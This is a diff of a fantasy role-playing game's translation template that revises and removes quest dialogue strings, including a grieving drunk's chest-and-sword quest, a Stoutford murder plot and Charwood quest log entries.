"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22450,12 +22473,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22463,15 +22482,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22504,7 +22515,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22516,7 +22527,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22572,7 +22583,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22580,7 +22591,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22592,7 +22603,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22729,7 +22740,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22738,7 +22749,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22763,18 +22774,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22797,14 +22810,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -23020,7 +23025,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23122,7 +23127,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23157,62 +23162,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24446,7 +24395,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24628,7 +24577,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26336,7 +26284,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26344,7 +26292,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26405,7 +26353,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26439,7 +26387,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26490,10 +26438,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26554,7 +26498,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26965,7 +26909,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27141,7 +27085,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27292,7 +27236,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27318,7 +27262,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27452,7 +27395,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27460,7 +27403,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27468,7 +27413,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27565,6 +27510,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27710,7 +27663,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27730,10 +27682,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27747,7 +27695,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27882,11 +27830,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27927,10 +27870,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27967,11 +27906,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27996,10 +27930,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -28021,10 +27951,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -28041,11 +27975,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28141,7 +28071,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28231,7 +28161,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28267,7 +28197,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28590,7 +28520,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28602,7 +28532,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28622,7 +28552,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29132,11 +29062,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29148,7 +29078,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29166,11 +29096,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29186,11 +29116,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29198,7 +29128,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29390,62 +29320,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31366,10 +31240,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31426,10 +31296,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31442,10 +31308,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36446,11 +36308,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36478,7 +36340,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36486,7 +36348,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36502,7 +36364,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -37062,7 +36924,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37082,7 +36944,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37093,14 +36955,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37109,10 +36963,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37130,7 +36980,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37226,19 +37076,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
